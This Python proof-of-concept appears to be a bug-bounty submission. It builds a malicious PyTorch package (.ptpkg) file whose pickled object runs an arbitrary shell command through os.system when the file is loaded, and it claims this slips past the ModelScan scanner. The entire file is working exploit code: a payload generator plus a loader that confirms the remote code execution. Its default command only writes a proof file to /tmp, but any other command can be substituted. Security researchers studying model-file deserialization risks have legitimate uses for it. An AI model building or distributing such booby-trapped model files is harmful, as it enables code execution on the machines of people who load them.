File size: 2,003 Bytes
eb994ca | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | #!/usr/bin/env python3
"""PyTorch Package (.ptpkg) ModelScan bypass PoC
MFV Target: #38 PyTorch Package ($1500)
Mechanism: PackageImporter.load_pickle() -> pickle.loads() -> RCE
ModelScan: Blind - no .ptpkg support + ZIP skip
"""
import os
import torch
import torch.package as tpkg
RCE_CMD = 'echo "PWNED_PTPKG" > /tmp/ptpkg_proof.txt && id >> /tmp/ptpkg_proof.txt'
def create_malicious_ptpkg(rce_cmd=None, output="malicious.ptpkg"):
"""Create a malicious .ptpkg file with RCE payload."""
if rce_cmd is None:
rce_cmd = RCE_CMD
class EvilPayload:
def __reduce__(self):
return (os.system, (rce_cmd,))
with tpkg.PackageExporter(output) as pe:
pe.save_pickle("model", "model.pkl", EvilPayload())
print(f"Created: {output} ({os.path.getsize(output)} bytes)")
print(f"PyTorch: {torch.__version__}")
print(f"\nTest: python3 -c \"import torch.package as tpkg; " +
f"tpkg.PackageImporter('{output}').load_pickle('model', 'model.pkl')\"")
return output
def verify_rce(ptpkg_path):
"""Verify RCE triggers on load."""
import subprocess
# Clean proof file
if os.path.exists("/tmp/ptpkg_proof.txt"):
os.unlink("/tmp/ptpkg_proof.txt")
# Load the malicious ptpkg
try:
importer = tpkg.PackageImporter(ptpkg_path)
obj = importer.load_pickle("model", "model.pkl")
print(f"Object returned: {obj}")
except Exception as e:
print(f"Post-RCE error (expected): {e}")
# Check RCE proof
if os.path.exists("/tmp/ptpkg_proof.txt"):
print("\n=== RCE CONFIRMED ===")
with open("/tmp/ptpkg_proof.txt") as f:
print(f.read())
else:
print("\n=== RCE FAILED ===")
if __name__ == "__main__":
# If we're run directly, create and verify
import sys
output = sys.argv[1] if len(sys.argv) > 1 else "malicious.ptpkg"
path = create_malicious_ptpkg(output=output)
print("\n--- Verifying RCE ---")
verify_rce(path)
|